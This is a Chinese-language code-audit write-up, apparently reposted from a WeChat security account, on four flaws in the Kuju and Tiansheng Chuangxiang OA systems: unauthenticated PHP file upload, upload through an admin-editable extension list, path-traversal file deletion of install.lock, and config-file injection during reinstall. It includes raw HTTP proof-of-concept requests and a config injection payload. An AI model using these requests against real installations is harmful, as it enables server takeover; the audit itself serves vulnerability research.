记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

admin 2024年10月13日21:47:53评论11 views字数 4221阅读14分4秒阅读模式

以下内容仅供技术研究学习使用!

严禁用于非法操作!

切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务!

介绍

天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件,融合了天生创想OA长期从事管理软件开发的丰富经验与先进技术,该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限制。

:天生创想OA协同网络办公系统和苦菊OA这两个是一样的都存在以下问题

当前环境

Apache2.4.39

PHP版本5.3.29

版本:V2019,PHPOA V4.0

漏洞审计

0X01未授权任意文件上传

漏洞地址:D:phpstudy_proWWWkuju2019uploadUploadHandler.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

/Upload/index.php 有包含UploadHandler.php

分析index.php执行流程

包含了数据库配置文件连接数据库

最后包含UploadHandler.php文件实例化UploadHandler类

Userid函数判断是哪个用户上传的

打开UploadHandler.php找到漏洞函数

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

handle_file_upload函数存在任意文件上传未校验上传的后缀

简单看一下1062行生成文件名给upload_dir然后if判断是否不存在生成文件名一样的目录

实例化调用get_upload_path并传递后缀过去

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

判断是有后缀名没有就未空version没有值为false执行else语句块返回路径+文件名+后缀给file_path

判断文件,类型赋值给append_file再if判断文件是否是http post上传的

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

Echo输出临时文件和指定文件

1074行判断append_file为false执行move_uploaded_file函数移动文件把临时文件移动到指定的文件并且未校验cookie可以直接未授权上传

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

直接成功上传

Shell地址:http://www.kuju.com/data//uploadfile//1//1614235203.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

POC:

POST /upload/index.php?userid=1 HTTP/1.1Host: www.kuju.comUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Accept: application/json, text/javascript,*/*; q=0.01Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer:http://www.kuju.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554Content-Length: 256Origin: http://www.kuju.comConnection: close-----------------------------115858488212690034922831875554Content-Disposition: form-data;name="files[]"; filename="1.php"Content-Type: text/plain<?phpecho 123;phpinfo();?>-----------------------------115858488212690034922831875554—

0X02 任意文件上传

漏洞地址:D:phpstudy_proWWWkuju2019uploadclass.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

Upload.php处理文件上传打开upload.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

第6行包含了uploadclass.php并且实例化类

调用uploadclass.php upload_file的函数获取文件类型,名称,大小等

最后调用了seve函数打开uploadclass.php查看seve函数

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

跟进get_compare_extention()函数

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

get_compare_extention()函数调用了把extention_list变量用explode函数分割赋值给ext

追踪extention_list的值

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

在75行发现set_extention函数有赋值给extention_list先实例化类然后调用config_data把‘uploadtype’键赋值给了extention_list

Echo extention_list的值看看

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

‘uploadtype’的值都是后缀名

回到seve函数追踪check_extention()函数

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

check_extention()函数for循环ext后缀判断后缀是否是ext中的一个不是就输出允许的后缀extention_list

doc|docx|xlsx|jpg|gif|rar|txt|zip|pdf|xls|ppt|esp|cad|3ds|img|psd|pdf|ai|log|mdb|pot|csv|png

剩下的就是些无关紧要的东西了,只要‘uploadtype’键里的值可控就可以上传任意文件

在后台登录页-》系统设置-》附件上传类型:

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

添加新的后缀php,上传头像

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

成功getshell

0X03 任意文件删除

漏洞地址:D:phpstudy_proWWWkuju2019includedbbackup.class.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

调用了/mana/目录下的mod_data.php文件打开它

最后一行elseif判断do等于upload执行语句块

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

Echo 对象调用del函数删除成功就输出备份删除成功

追踪del函数

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

if判断传递过来的是否为数组然后foreach循环删除即使不是数组在333行再单独删除一次

删除文件未校验后缀和未过滤../,导致攻击者可以跨目录删除任意文件

默认备份地址是/data/db/在/db/目录外新建一个1.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

成功删除1.php

可利用任意文件删除导致系统重装删除cacheinstall.lock

POC:

POST/admin.php?ac=data&fileurl=mana&do=update HTTP/1.1Host: www.kuju.comUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.kuju.com/admin.php?ac=data&fileurl=mana&do=data_importContent-Type:application/x-www-form-urlencodedContent-Length: 37Origin: http://www.kuju.comConnection: closeCookie:toa_auth=MQk4MWRiMDNkZTA5ZWYxZWIyYjc5NjBkNDNmMWEwY2U3MQ%3D%3D; my_expand_3=;my_expand_all_3=Upgrade-Insecure-Requests: 1choice[]=../1.php&do=%E5%88%A0+%E9%99%A4

0X04 重装系统Getshell

漏洞地址:D:phpstudy_proWWWkuju2019installinstall.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

判断用户是否填写完全了然后去创建数据库

然后到309行写文件

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

Fopen读取config文件赋值给fp追踪config变量是从那里过来的

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

在108行知道了config文件地址

311行filesize检查文件大小读取文件赋值给content接着打开config.php文件

最后用preg_replace检查替换file_put_contents写入到config.php中

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

把payload写进去:');phpinfo();//

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

到这个页面成功创建数据库也代表payload成功插入进去了

访问http://www.kuju.com/config.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

成功getshell打开config.php

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

这里没有包含include/common.php单引号就不会被反斜杠转义

利用条件php版本<=5.4.45因为 magic_quotes_gpc 5.4以上版本都被移除了

如果对方php版本>5.4也是可以利用的但是要在php.ini设置magic_quotes_gpc = Off

关闭gpc即可利用

=================================

精彩推荐

IOT&无线电|SDR嗅探GSM网络

SRC实战|记一次edusrc挖掘艰难Getshell

IOT&无线电|BadUSB HID攻击

=================================

看到这了就点个关注支持以下吧,你的关注是我创作的动力。

公众号:Master学安全

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析                  
                             Master学安全                                  

分享记录一些自己网络安全方面的学习历程。专注于研究web安全、代码审计,内网安全,IOT&无线电安全
公众号

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

原文始发于微信公众号(LCC316安全实验室):记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日21:47:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对苦菊OA+天生创想OA协同办公系统​的审计分析https://cn-sec.com/archives/1067091.html

发表评论

匿名网友 填写信息